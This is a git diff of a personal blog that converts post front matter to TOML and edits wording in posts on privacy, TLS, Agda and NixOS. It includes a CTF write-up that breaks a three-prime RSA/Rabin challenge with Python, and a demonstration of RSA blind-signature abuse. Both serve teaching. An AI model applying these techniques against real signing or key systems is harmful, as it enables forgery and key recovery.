-does this by turning $M$ into $M' = r^eM \mod N$ where r is an integer that's
-coprime to $N$:
+Bob, begin an intellectual, will refuse to sign the message. So now suppose
+Marvin now transforms his message into a more innocent looking one. He does this
+by turning $M$ into $M' = r^eM \mod N$ where r is an integer that's coprime to
+$N$:
 
 ```py
 >>> from random import randint
@@ -201,14 +201,12 @@ Now he asks Bob to sign this more... innocently-looking message. Without
 questioning, Bob, an intellectual, signs his life away. Let's say he produces a
 signature
 
-$$
-\begin{aligned}
+$$\begin{aligned}
 S' &= (M'^d) \\\
 &= (r^e * M)^d \\\
 &= r^{ed} * M^d \\\
 &= r * M^d \mod N
-\end{aligned}
-$$
+\end{aligned}$$
 
 ```py
 >>> Sp, = bob.sign(Mp, 0)

content/posts/2019-02-01-magic-forms-with-proc-macros.md

@@ -1,13 +1,13 @@
----
-title: "Magic forms with proc macros: Ideas"
-date: 2019-02-01
-tags: ["computers", "web"]
-languages: ["rust"]
----
++++
+title = "Magic forms with proc macros: Ideas"
+date = 2019-02-01
+tags = ["computers", "web"]
+languages = ["rust"]
++++
 
 Procedural macros (proc macros for short) in Rust are incredible because they allow arbitrary pre-compile source transformation, which leads to endless possibilities (and hazards!). But if we take careful advantage of this feature, we can use it to make clean abstractions for messy boilerplate, especially in the case of web forms. <!--more-->
 
-In fact, proc macros are incredibly pervasive around Rust's ecosystem. For example, using the [`serde`][1] serialization/deserialization crate, you can simply write:
+In fact, proc macros are incredibly pervasive around Rust's ecosystem. For example, using the [`serde`][1] serialization/deserialization crate, you can write:
 
 ```rs
 #[derive(Serialize)]
@@ -42,10 +42,10 @@ What this would do is add a couple more functions to our form class. Firstly, I'
 
 ```html
 <form>
-  <input type="email" name="id" />
-  <input type="text" name="name" />
-  <input type="password" name="pass" />
-  <input type="submit" />
+    <input type="email" name="id" />
+    <input type="text" name="name" />
+    <input type="password" name="pass" />
+    <input type="submit" />
 </form>
 ```
 
@@ -60,7 +60,7 @@ name: String,
 This should generate the following HTML:
 
 ```html
-<input type="text" name="name" autocomplete="off" />
+<input type="text" name="name" autocomplete=off />
 ```
 
 I realize this is probably not very flexible, since you'd really only be able to use this form in a specific context. But in reality, how much do you really lose by redefining that form?
@@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
 
 ## Conclusion
 
-This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
+This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
 
 [1]: https://docs.rs/serde

content/posts/2019-03-04-server-analogy.md

@@ -1,8 +1,8 @@
----
-title: "Accept server analogy"
-date: 2019-03-04
-tags: ["computers"]
----
++++
+title = "Accept server analogy"
+date = 2019-03-04
+tags = ["computers"]
++++
 
 This is just a stupid analogy I thought of recently, but decided to write about it anyway.
 

content/posts/2020-04-01-password-managers.md

@@ -1,20 +1,22 @@
----
-title: "Password managers"
-date: 2020-04-01
-tags: ["computers", "things-that-are-good", "privacy"]
----
++++
+title = "Password managers"
+date = 2020-04-01
+tags = ["computers", "things-that-are-good", "privacy"]
++++
 
 Password managers are programs that store passwords for you. With the number of accounts you keep on the web, you generally don't want to store all of them in your head. If you want to see articles on why you should use a password manager NOW, search "reasons to use a password manager" online and any of the articles you find should explain it. Here I'll add some more commentary on top of the traditional arguments.
 
 <!-- more -->
 
-## Don't tick the "Remember master password box" no matter what
+Don't tick the "Remember master password box" no matter what
+---
 
 How well you remember a password depends on how much you use it. If you open an account, make a password, and stay signed in for a year without ever having to re-login, you'll naturally forget the password. Same deal with password managers; the problem has just been moved another step.
 
 The power of a password manager comes from you continually entering in the same password over and over in order to unlock your other accounts.
 
-## Password managers are good for a lot more than passwords
+Password managers are good for a lot more than passwords
+---
 
 If you're willing to put sensitive passwords into your password manager, it should be a perfect place to put information that you'd want to avoid writing down in plaintext but want to access easily. This might include:
 
@@ -23,7 +25,8 @@ If you're willing to put sensitive passwords into your password manager, it shou
 - Your car's license plate number
 - Answers to security questions, which leads into the next point:
 
-## Treat your security questions as passwords
+Treat your security questions as passwords
+---
 
 Save these in your password manager! "Security" questions are probably the worst idea for security and are more likely to weaken the security of your account than strengthen it. They have multiple fatal flaws (assuming you use security questions truthfully):
 
@@ -33,7 +36,8 @@ Save these in your password manager! "Security" questions are probably the worst
 
 Instead, just treat them as another password! Go into your password manager, generate the longest possible random password that fits into the box, and save it. Since you can give a name to the password, there's no worry of forgetting it or losing it, since it'll be stored among the vault of other passwords that you're hopefully using every day.
 
-## Don't trust extensions that fill in your password automatically
+Don't trust extensions that fill in your password automatically
+---
 
 Some password managers, like LastPass, have browser extensions that automatically fill in password boxes when you open the page.
 

content/posts/2021-06-17-tracking-links.md

@@ -1,14 +1,14 @@
----
-title: "Tracking links in email"
-date: 2021-06-17
-tags: ["email", "computers", "things-that-are-bad", "privacy"]
----
++++
+title = "Tracking links in email"
+date = 2021-06-17
+tags = ["email", "computers", "things-that-are-bad", "privacy"]
++++
 
 You probably get emails every day, and spend a lot of time reading them. And
 whenever someone performs an action or does something in vast quantities, you
-_bet_ the data giants have figured out a way to capitalize on it. For many
-years consumer privacy has basically gone unnoticed, and invasive tracking has
-grown [viral][1]. <!--more-->
+_bet_ the data giants have figured out a way to capitalize on it. For many years
+consumer privacy has gone unnoticed, and invasive tracking has grown [viral][1].
+<!--more-->
 
 Arguably, if you are someone who runs a business off of writing periodic
 newsletters that are distributed via email, you might want some statistics on
@@ -49,18 +49,18 @@ making a request to that server, giving up information about the time, place,
 client, OS, and all sorts of other information that greedy data collection
 companies are waiting to snatch up.
 
-Of course, regular users notice nothing: these links are usually hidden behind
-buttons, text, or even the original URL itself. Once they click it, the website
-silently logs all the data it receives about the user, and then redirects the
-user to the original destination.
+Regular users notice nothing: these links are usually hidden behind buttons,
+text, or even the original URL itself. Once they click it, the website silently
+logs all the data it receives about the user, and then redirects the user to the
+original destination.
 
 The senders usually aren't at fault either. Sending email is tricky, with all
 the infrastructure set up to block out spam, so the majority of people who send
 bulk mail (newsletters, websites that need to confirm your email, etc.) all go
-through companies that handle this for them. Of course, being the middlemen who
-actually get the mail out the door, they're free to replace the links with
-whatever they want, and many of these companies advertise it as a feature to
-get more "insight" into how your emails are doing.
+through companies that handle this for them. Being the middlemen who actually
+get the mail out the door, they're free to replace the links with whatever they
+want, and many of these companies advertise it as a feature to get more
+"insight" into how your emails are doing.
 
 Even worse, the original senders aren't the only ones getting the info, either.
 These middlemen could hold on to the data and there's no saying they can't use

content/posts/2021-07-05-https-request-from-scratch.md

@@ -1,11 +1,11 @@
----
-title: "Sending https requests from scratch"
-date: 2021-07-05
-draft: true
-toc: true
-tags: ["computers", "web", "crypto"]
-languages: ["python"]
----
++++
+title = "Sending https requests from scratch"
+date = 2021-07-05
+draft = true
+toc = true
+tags = ["computers", "web", "crypto"]
+languages = ["python"]
++++
 
 Every now and then, I return to this age-old question of _exactly_ how hard would it be to write a web browser from scratch? I hear some interviewers ask their candidates to describe the process your browser takes to actually put a webpage on your screen, but no doubt that's a simplification of a process from 20 years ago. <!--more-->
 
@@ -28,7 +28,7 @@ With that out of the way, let's jump in!
 
 ## URL Parsing
 
-This part is basically just a chore. URLs are defined in [RFC 3986][1], but we'll cheat a bit and just get the important parts we want for sending a request. First, I'll write out a regex for actually matching the parts we want:
+This part is just a chore. URLs are defined in [RFC 3986][1], but we'll cheat a bit and just get the important parts we want for sending a request. First, I'll write out a regex for actually matching the parts we want:
 
 ```py
 import re
@@ -96,7 +96,7 @@ def wrap_handshake(htype, hdata):
 
 ### Client Hello
 
-TLS starts with the client sending a `ClientHello` message (defined in section 4.1.2 of the RFC), which basically starts the handshake off with some basic details about what the client can do. Now's probably a good time to decide on some basics, like which ciphers we'll be using to communicate.
+TLS starts with the client sending a `ClientHello` message (defined in section 4.1.2 of the RFC), which starts the handshake off with some basic details about what the client can do. Now's probably a good time to decide on some basics, like which ciphers we'll be using to communicate.
 
 #### Cipher Suite
 
@@ -299,9 +299,9 @@ Piece of cake.
 Let's walk through each of the ciphers and algorithms we're going to need one more time:
 
 - `ecdsa_secp256r1_sha256`
-  - ECDSA is the elliptical-curve signature algorithm; basically it can sign some information using the elliptical-curve private key, and anyone can verify using the corresponding public key that the person who owns the key has created that signature.
-  - secp256r1 just gives the name of a set of established parameters for a curve.
-  - SHA256 is a hashing algorithm, which creates a unique fingerprint of a piece of information that can't be reversed back to the original. Python's `hashlib` library provides this function for us, so we don't have to implement it ourselves.
+  + ECDSA is the elliptical-curve signature algorithm; it can sign some information using the elliptical-curve private key, and anyone can verify using the corresponding public key that the person who owns the key has created that signature.
+  + secp256r1 just gives the name of a set of established parameters for a curve.
+  + SHA256 is a hashing algorithm, which creates a unique fingerprint of a piece of information that can't be reversed back to the original. Python's `hashlib` library provides this function for us, so we don't have to implement it ourselves.
 
 #### Naive Elliptical Curve Implementation
 
@@ -395,6 +395,8 @@ def client_hello_extensions(hostname: str):
 
 ## `request`-like API
 
+
+
 ## Conclusion
 
 What did we learn? Don't do this shit yourself, it's not worth it. We'll probably be on HTTP3 within the next year. Just import `requests` and be done with it.

content/posts/2021-10-31-e2e-encryption-useless-without-client-freedom.md

@@ -1,29 +1,28 @@
----
-title: "End-to-end encryption is useless without client freedom"
-date: 2021-10-31
-tags: ["computers", "privacy"]
----
++++
+title = "End-to-end encryption is useless without client freedom"
+date = 2021-10-31
+tags = ["computers", "privacy"]
++++
 
 Today, many companies claim to provide "end-to-end encryption" of user data,
 whether it be text messages, saved pictures, or important documents. But what
 does this actually mean for your data? I'll explain what "non-end-to-end"
 encryption is, why end-to-end encryption is important, and also when it might
-be absolutely meaningless.
-
-<!--more-->
+be absolutely meaningless.<!--more-->
 
 > If you just want to read about end-to-end encryption, click [here][1].
 > Otherwise, I'll start the story all the way back to how computers talk to
 > each other.
 
-## A game of telephone in a noisy room
+A game of telephone in a noisy room
+---
 
 Computer networks essentially operate like a bunch of people yelling at each
 other at a public gathering, where everyone is kind of hearing everyone else's
 messages, but only really paying attention to ones addressed to them. Let's say
 I wanted to grab some Chipotle with my roommate. I'd yell "HEY NATHAN, WANNA GET
 CHIPOTLE?" over this public network, where Nathan would see his name, identify
-it as a message that is intended for him, and then reply accordingly. Notably,
+it as a message that is intended for him, and then reply accordingly.  Notably,
 everyone _else_ listening to the network also hears this, and knows that I'm
 itching to get some Mexican food.
 
@@ -31,11 +30,12 @@ That's not even the worst part, because well... how does your computer connect
 to the internet? Your router hears your computer's message, and passes it
 through a series of middlemen, who all perform this broadcasting ritual through
 some local network, until it gets to wherever your computer wanted to talk to in
-the first place. But in order for the middlemen to pass on the message, they'd
+the first place.  But in order for the middlemen to pass on the message, they'd
 have to hear the message, so now my lunch has become a public gathering known to
 everyone who's heard or passed on the message.
 
-## Encryption saves the day
+Encryption saves the day
+---
 
 That's where **encryption** comes in. Encryption lets me change the message to
 something that the middlemen and everyone else listening on the network can't
@@ -62,7 +62,8 @@ encryption to make sure no one steals my identity while I'm sending it, and
 encryption _at rest_ to make sure someone breaking into Google won't be able to
 just pull the hard drive out and read the files off it.
 
-## Two halves don't equal a whole
+Two halves don't equal a whole
+---
 
 It turns out just putting together these two types of encryption isn't enough.
 There's someone else we haven't protected ourselves against in this case, which
@@ -78,9 +79,8 @@ expect, and many industries have laws like [HIPAA][hipaa] and [FERPA][ferpa] to
 make sure the people handling your data don't leak it.
 
 But we don't have to just _trust_ them on that, because we already _know_ how
-to protect data from middlemen who are simply taking a message and sending it
-somewhere else unchanged, like the ISPs from our networks. We just need _more_
-encryption!
+to protect data from middlemen who are taking a message and sending it somewhere
+else unchanged, like the ISPs from our networks. We just need _more_ encryption!
 
 **End-to-end encryption** is just encrypting the data in a way that the only
 parties allowed to read the data are the people it was intended for. Password
@@ -91,7 +91,8 @@ then decrypts it offline. [Signal][signal] famously provides end-to-end
 encrypted chat, so that no one, not even the government[^1], will be able to
 read the messages you send if they're not the intended recipient.
 
-## It's still not enough
+It's still not enough {#not-enough}
+---
 
 End-to-end encryption seems like it should be the end of the story, but if
 there's one thing that can undermine the encryption, it's the program that's
@@ -139,7 +140,8 @@ run services is insufficient, it's safe to say that trusting companies to make
 client software that act in the interest of their users is just as useless as
 trusting companies to make services that act in the interest of their users.
 
-## What can i do?
+What can i do?
+---
 
 Although inconvenient, trusting different vendors for different pieces of this
 technological assembly line is the best way to prevent it from becoming abused.
@@ -168,7 +170,8 @@ multiple apps and servers, and servers can federate with each other using an
 open protocol. I would strongly recommend people who are interested in privacy
 to consider it.
 
-## Conclusion
+Conclusion
+---
 
 Why care? This might just seem to be some superficial political concern by
 privacy advocates who warn of dangerous edge cases that only matter to people
@@ -179,25 +182,22 @@ afraid of, but tech megacorps who possibly have even more power.
 We live in a digital world, so it's important to know how it works and who's in
 control.
 
-[^1]:
-    Governments and other parties with enough computational resources may
-    still be able to undermine specific levels of security, or just [threaten you
-    personally][wrench] until they get what they want.
+[^1]: Governments and other parties with enough computational resources may
+  still be able to undermine specific levels of security, or just [threaten you
+  personally][wrench] until they get what they want.
 
-[^2]:
-    Large corporations typically still have majority representation in the
-    committees that decide on the most impactful specifications, but these are
-    still made available to researchers who can analyze and critique it.
+[^2]: Large corporations typically still have majority representation in the
+  committees that decide on the most impactful specifications, but these are
+  still made available to researchers who can analyze and critique it.
 
-[^3]:
-    Not exactly; encryption by default is not authenticated. That means while
-    the data is protected in transit, there's no guarantee that the recipient is
-    actually who they say they are. I know only the recipient received my message,
-    but I don't know for sure the recipient is Nathan. In practice, browsers use
-    [PKI][pki] infrastructure to solve this, which relies on a certificate chain
-    that is distributed by browser or operating system vendors.
+[^3]: Not exactly; encryption by default is not authenticated. That means while
+  the data is protected in transit, there's no guarantee that the recipient is
+  actually who they say they are. I know only the recipient received my message,
+  but I don't know for sure the recipient is Nathan. In practice, browsers use
+  [PKI][pki] infrastructure to solve this, which relies on a certificate chain
+  that is distributed by browser or operating system vendors.
 
-[1]: #its-still-not-enough
+[1]: {{< ref "#not-enough" >}}
 
 [csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
 [ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act

content/posts/2022-02-02-formal-cek-machine-in-agda/_index.md

@@ -1,11 +1,12 @@
----
-title: "building a formal cek machine in agda"
-draft: true
-date: 2022-02-02
-tags: ["computer-science", "programming-languages", "formal-verification", "lambda-calculus"]
-languages: ["agda"]
-toc: true
----
++++
+title = "building a formal cek machine in agda"
+draft = true
+date = 2022-02-02
+tags = ["computer-science", "programming-languages", "formal-verification", "lambda-calculus"]
+languages = ["agda"]
+layout = "single"
+toc = true
++++
 
 <!--more-->
 
@@ -19,36 +20,35 @@ My lambda calculus implemented `call/cc` on top of a CEK machine.
 <details>
   <summary><b>Why is this interesting?</b></summary>
 
-Reasoning about languages is one way of ensuring whole-program correctness.
-Building up these languages from foundations grounded in logic helps us
-achieve our goal with more rigor.
+  Reasoning about languages is one way of ensuring whole-program correctness.
+  Building up these languages from foundations grounded in logic helps us
+  achieve our goal with more rigor.
 
-As an example, suppose I wrote a function that takes a list of numbers and
-returns the maximum value. Mathematically speaking, this function would be
-_non-total_; an input consisting of an empty set would not produce reasonable
-output. If this were a library function I'd like to tell people who write code
-that uses this function "don't give me an empty list!"
+  As an example, suppose I wrote a function that takes a list of numbers and
+  returns the maximum value. Mathematically speaking, this function would be
+  _non-total_; an input consisting of an empty set would not produce reasonable
+  output. If this were a library function I'd like to tell people who write code
+  that uses this function "don't give me an empty list!"
 
-But just writing this in documentation isn't enough. What we'd really like is
-for a tool (like a compiler) to tell any developer who is trying to pass an
-empty list into our maximum function "You can't do that." Unfortunately, most
-of the popular languages being used today have no way of describing "a list
-that's not empty."
+  But just writing this in documentation isn't enough. What we'd really like is
+  for a tool (like a compiler) to tell any developer who is trying to pass an
+  empty list into our maximum function "You can't do that." Unfortunately, most
+  of the popular languages being used today have no way of describing "a list
+  that's not empty."
 
-We still have a way to prevent people from running into this problem, though
-it involves pushing the problem to runtime rather than compile time. The
-maximum function could return an "optional" maximum. Some languages'
-implementations of optional values force programmers to handle the "nothing"
-case, while others ignore it silently. But in the more optimistic case, even
-if the list was empty, the caller would have handled it and treated it
-accordingly.
-
-This isn't a pretty way to solve this problem. _Dependent types_ gives us
-tools to solve this problem in an elegant way, by giving the type system the
-ability to contain values. This also opens its own can of worms, but for
-questions about program correctness, it is more valuable than depending on
-catching problems at runtime.
+  We still have a way to prevent people from running into this problem, though
+  it involves pushing the problem to runtime rather than compile time. The
+  maximum function could return an "optional" maximum. Some languages'
+  implementations of optional values force programmers to handle the "nothing"
+  case, while others ignore it silently. But in the more optimistic case, even
+  if the list was empty, the caller would have handled it and treated it
+  accordingly.
 
+  This isn't a pretty way to solve this problem. _Dependent types_ gives us
+  tools to solve this problem in an elegant way, by giving the type system the
+  ability to contain values. This also opens its own can of worms, but for
+  questions about program correctness, it is more valuable than depending on
+  catching problems at runtime.
 </details>
 
 ## Lambda calculus
@@ -59,19 +59,19 @@ be represented in a lambda calculus is some combination of terms. A term can
 have several constructors:
 
 - **Var.** This is just a variable, like `x` or `y`. During evaluation, a
-  variable can resolve to a value in the evaluation environment by name. If
-  the environment says `{ x = 5 }`, then evaluating `x` would result in 5.
+    variable can resolve to a value in the evaluation environment by name. If
+    the environment says `{ x = 5 }`, then evaluating `x` would result in 5.
 
 - **Abstraction, or lambda (λ).** An _abstraction_ is a term that describes some
-  other computation. From an algebraic perspective, it can be thought of as a
-  function with a single argument (i.e f(x) = 2x is an abstraction, although
-  it would be written `(λx.2x)`)
+    other computation. From an algebraic perspective, it can be thought of as a
+    function with a single argument (i.e f(x) = 2x is an abstraction, although
+    it would be written `(λx.2x)`)
 
 - **Application.** Application is sort of the opposite of abstraction, exposing
-  the computation that was abstracted away. From an algebraic perspective,
-  this is just function application (i.e applying `f(x) = 2x` to 3 would
-  result in 2\*3. Note that only a simple substitution has been done and
-  further evaluation is required to reduce 2\*3)
+    the computation that was abstracted away. From an algebraic perspective,
+    this is just function application (i.e applying `f(x) = 2x` to 3 would
+    result in 2\*3. Note that only a simple substitution has been done and
+    further evaluation is required to reduce 2*3)
 
 ### Why?
 
@@ -86,7 +86,7 @@ like this:
 
 - Let `z` represent zero.
 - Let `s` represent a "successor", or increment function. `s(z)` represents 1,
-  `s(s(z))` represents 2, and so on.
+    `s(s(z))` represents 2, and so on.
 
 In lambda calculus terms, this would look like:
 
@@ -114,7 +114,7 @@ expand infinitely. That makes sense given its purpose: to find a _fixed point_
 of whatever function you pass in.
 
 > As an example, the fixed-point of the function f(x) = sqrt(x) is 1. That's
-> because f(1) = 1. The Y combinator attempts to find the fixed point by simply
+> because f(1) = 1. The Y combinator attempts to find the fixed point by
 > applying the function multiple times. In the untyped lambda calculus, this can
 > be used to implement simple (but possibly unbounded) recursion.
 
@@ -149,12 +149,12 @@ as what the function is expecting.
 A semi-formal definition for STLC terms would look something like this:
 
 - **Var.** Same as before, it's a variable that can be looked up in the
-  environment.
+    environment.
 
 - **Abstraction, or lambda (λ).** This is a function that carries three pieces
-  of information: (1) the name of the variable that its input will be
-  substituted for, (2) the _type_ of the input, and (3) the body in which the
-  substitution will happen.
+    of information: (1) the name of the variable that its input will be
+    substituted for, (2) the _type_ of the input, and (3) the body in which the
+    substitution will happen.
 
 - **Application.** Same as before.
 
@@ -171,8 +171,8 @@ Notation: (`x :: T` means `x` has type `T`, and `f · x` means `f` applied to
 This also means that some values are now unrepresentable:
 
 - `isEven(λx.2x) :: (Nat -> Bool) · (Nat -> Nat)` doesn't work because the type
-  of `λx.2x :: Nat -> Nat` can't be used as an input for `isEven`, which is
-  expecting a `Nat`.
+    of `λx.2x :: Nat -> Nat` can't be used as an input for `isEven`, which is
+    expecting a `Nat`.
 
 We have a good foundation for writing programs now, but this by itself can't
 qualify as a system for computation.

content/posts/2022-02-07-cybergrabs-ctf-unbreakable/index.md

@@ -1,14 +1,14 @@
----
-title: "The Cyber Grabs CTF: Unbr34k4bl3 (942)"
-date: 2022-02-02
-tags: ["ctf", "crypto", "rsa"]
-languages: ["python"]
-math: true
-toc: true
----
++++
+title = "The Cyber Grabs CTF: Unbr34k4bl3 (942)"
+date = 2022-02-02
+tags = ["ctf", "crypto", "rsa"]
+languages = ["python"]
+layout = "single"
+math = true
+toc = true
++++
 
 Crypto challenge Unbr34k4bl3 from the Cyber Grabs CTF.
-
 <!--more-->
 
 > No one can break my rsa encryption, prove me wrong !!
@@ -26,11 +26,11 @@ Looking at the source code, this challenge looks like a typical RSA challenge at
 first, but there are some important differences to note:
 
 - $n = pqr$ (line 34). This is a twist but RSA strategies can easily be
-  extended to 3 prime components.
+    extended to 3 prime components.
 - $p, q \equiv 3 \mod 4$ (line 19). This suggests that the cryptosystem is
-  actually a [Rabin cryptosystem][Rabin].
+    actually a [Rabin cryptosystem][Rabin].
 - We're not given the public keys $e_1$ and $e_2$, but they are related through
-  $x$.
+    $x$.
 
 ## Finding $e_1$ and $e_2$
 
@@ -42,13 +42,11 @@ $$ 1 + e_1 + e_1^2 + \cdots + e_1^x = 1 + e_2 + e_2^2 $$
 
 Taking the entire equation $\mod e_1$ gives us:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   1 &\equiv 1 + e_2 + e_2^2 \mod e_1 \\\
   0 &\equiv e_2 + e_2^2 \\\
   0 &\equiv e_2(1 + e_2)
-\end{aligned}
-$$
+\end{aligned}$$
 
 This means there are two possibilities: either $e_1 = e_2$ or $e_1$ is even
 (since we know $e_2$ is a prime). The first case isn't possible, because with $x
@@ -65,84 +63,68 @@ and $\boxed{e_2 = 5}$ gives us a value that make $e_2$ prime.
 We're not actually given $p$ or $q$, but we are given $ip = p^{-1} \mod q$ and
 $iq = q^{-1} \mod p$. In order words:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   p \times ip &\equiv 1 \mod q \\\
   q \times iq &\equiv 1 \mod p
-\end{aligned}
-$$
+\end{aligned}$$
 
 We can rewrite these equations without the mod by introducing variables $k_1$
 and $k_2$ to be arbitrary constants that we solve for later:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   p \times ip &= 1 + k_1q \\\
   q \times iq &= 1 + k_2p
-\end{aligned}
-$$
+\end{aligned}$$
 
 We'll be trying to use these formulas to create a quadratic that we can use to
 eliminate $k_1$ and $k_2$. Multiplying these together gives:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   (p \times ip)(q \times iq) &= (1 + k_1q)(1 + k_2p) \\\
   pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq
-\end{aligned}
-$$
+\end{aligned}$$
 
 I grouped $p$ and $q$ together here because it's important to note that since we
 have $x$, we know $r$ and thus $pq = \frac{n}{r}$. This means that for purposes
 of solving the equation, $pq$ is a constant to us. This actually introduces an
 interesting structure on the right hand side, we can create 2 new variables:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   \alpha &= k_1q \\\
   \beta &= k_2p
-\end{aligned}
-$$
+\end{aligned}$$
 
 Substituting this into our equation above we get:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   pq \times ip \times iq &= 1 + \alpha + \beta + \alpha\beta
-\end{aligned}
-$$
+\end{aligned}$$
 
 Recall from whatever algebra class you last took that $(x - x_0)(x - x_1) = x^2
 \- (x_0 + x_1)x + x_0x_1$. Since we have both $\alpha\beta$ and $(\alpha +
 \beta)$ in our equation, we can try to look for a way to isolate them in order
 to create our goal.
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq \\\
   k_1k_2pq &= pq \times ip \times iq - 1 - k_1q - k_2p \\\
   k_1k_2 &= ip \times iq - \frac{1}{pq} - \frac{k_1}{p} - \frac{k_2}{q}
-\end{aligned}
-$$
+\end{aligned}$$
 
-$\frac{1}{pq}$ is basically $0$, and since $k_1$ and $k_2$ are both smaller than
-$p$ or $q$, then we'll approximate this using $k_1k_2 = ip \times iq - 1$. Now
-that $k_1k_2$ has become a constant, we can create the coefficients we need:
+We can treat $\frac{1}{pq}$ as $0$, and since $k_1$ and $k_2$ are both smaller
+than $p$ or $q$, then we'll approximate this using $k_1k_2 = ip \times iq - 1$.
+Now that $k_1k_2$ has become a constant, we can create the coefficients we need:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   \alpha + \beta &= pq \times ip \times iq - 1 - k_1k_2pq \\\
   \alpha\beta &= k_1k_2pq
-\end{aligned}
-$$
+\end{aligned}$$
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   (x - \alpha)(x - \beta) &= 0 \\\
   x^2 - (\alpha + \beta)x + \alpha\beta &= 0 \\\
   x &= \frac{(\alpha+\beta) \pm \sqrt{(\alpha+\beta)^2 - 4\alpha\beta}}{2}
-\end{aligned}
-$$
+\end{aligned}$$
 
 Putting this into Python, looks like:
 
@@ -204,7 +186,7 @@ print(long_to_bytes(m2))
 # ... The last part of the flag is: 8ut_num83r_sy5t3m_15_3v3n_m0r3_1nt3r35t1n6} ...
 ```
 
-This trick won't work with $c_1$ however:
+This trick won't work with $c_1$ though:
 
 ```py
 d1 = pow(e1, -1, phi)
@@ -216,26 +198,26 @@ possibly be a $d_1$ such that $2 \cdot d_1 \equiv 1 \mod \phi$. According to
 [Wikipedia][Rabin], the decryption for a standard two-prime $n$ takes 3 steps:
 
 1. Compute the square root of $c \mod p$ and $c \mod q$:
-   - $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
-   - $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
+    - $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
+    - $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
 2. Use the extended Euclidean algorithm to find $y_p$ and $y_q$ such that $y_p
    \cdot p + y_q \cdot q = 1$.
 3. Use the Chinese remainder theorem to find the roots of $c$ modulo $n$:
-   - $r_1 = (y_p \cdot p \cdot m_q + y_q \cdot q \cdot m_p) \mod n$
-   - $r_2 = n - r_1$
-   - $r_3 = (y_p \cdot p \cdot m_q - y_q \cdot q \cdot m_p) \mod n$
-   - $r_4 = n - r_3$
+    - $r_1 = (y_p \cdot p \cdot m_q + y_q \cdot q \cdot m_p) \mod n$
+    - $r_2 = n - r_1$
+    - $r_3 = (y_p \cdot p \cdot m_q - y_q \cdot q \cdot m_p) \mod n$
+    - $r_4 = n - r_3$
 4. The real message could be any $r_i$, but we don't know which.
 
 Converting this to work with $n = pqr$, it looks like:
 
 1. Compute the square root of $c \mod p$, $c \mod q$, and $c \mod r$:
-   - $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
-   - $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
-   - $m_r = c^{\frac{1}{4}(r + 1)} \mod r$
+    - $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
+    - $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
+    - $m_r = c^{\frac{1}{4}(r + 1)} \mod r$
 2. Using the variable names from [AoPS][CRT]'s definition of CRT:
-   - For $k \in \\{ p, q, r \\}, b_k = \frac{n}{k}$.
-   - For $k \in \\{ p, q, r \\}, a_k \cdot b_k \equiv 1 \mod k$.
+    - For $k \in \\{ p, q, r \\}, b_k = \frac{n}{k}$.
+    - For $k \in \\{ p, q, r \\}, a_k \cdot b_k \equiv 1 \mod k$.
 3. Let $r = \displaystyle\sum_k^{\\{ p, q, r \\}} \pm (a_k \cdot b_k \cdot m_k) \mod n$.
 4. The real message could be any $r$, but we don't know which.
 

content/posts/2022-03-03-clangd-in-nix.md

@@ -1,8 +1,8 @@
----
-title: "Clangd in Nix"
-date: 2022-03-03
-tags: ["nixos"]
----
++++
+title = "Clangd in Nix"
+date = 2022-03-03
+tags = ["nixos"]
++++
 
 I've been using [Nix][NixOS] a lot recently since it handles dependency
 management very cleanly, but one gripe that I've been having is that when I'm

content/posts/2022-03-04-learn-by-implementing-elliptic-curve-crypto.md

@@ -1,11 +1,11 @@
----
-title: "Learn by Implementing Elliptic Curve Crypto"
-date: 2022-03-04
-tags: ["crypto", "learn-by-implementing"]
-draft: true
-math: true
-toc: true
----
++++
+title = "Learn by Implementing Elliptic Curve Crypto"
+date = 2022-03-04
+tags = ["crypto", "learn-by-implementing"]
+draft = true
+math = true
+toc = true
++++
 
 Good places to start (in terms of usefulness):
 
@@ -80,7 +80,6 @@ import (
 ```
 
 > This is a [literate document][literate]. You can run this blog post using [Markout]:
->
 > ```
 > TODO:
 > ```
@@ -101,11 +100,9 @@ Addition on $P$ and $Q$ is defined by first finding the line $PQ$, determining
 the point $-R$ where it intersects the curve again, and then returning $R$. We
 can find the line $PQ$ by using high school geometry:
 
-$$
-\begin{aligned}
+$$\begin{aligned}
   (y - y_0) = m(x - x_0)
-\end{aligned}
-$$
+\end{aligned}$$
 
 ```go
 func (A Point) Add(B Point) Point {

content/posts/2022-05-09-installing-nixos-on-encrypted-zfs.md

@@ -1,14 +1,12 @@
----
-title: "Installing NixOS on ZFS with encryption"
-date: 2022-05-09
-tags: ["nixos", "linux", "setup"]
-toc: true
----
++++
+title = "Installing NixOS on ZFS with encryption"
+date = 2022-05-09
+tags = ["nixos", "linux", "setup"]
+toc = true
++++
 
 I finally switched over to NixOS for my desktop, and here is my install process.
-
 <!--more--> Annoyingly enough, the biggest non-declarative part of Nix is this
-
 initial setup phase, and I made several mistakes during the install process, so
 I'm documenting the process here so I can remember for next time.
 
@@ -19,7 +17,7 @@ I'm documenting the process here so I can remember for next time.
   - SSD1: 1TB Samsung SSD 860 (encrypted), which I'm migrating off of
   - SSD2: 2TB Crucial MX500 (encrypted), which I'm migrating to
   - HDD: 3TB HITACHI HUA72303 (unencrypted), which serves as storage for music
-    and games.
+      and games.
 
 I already have my [Nix flake][1] setup for my other machines, but of those only
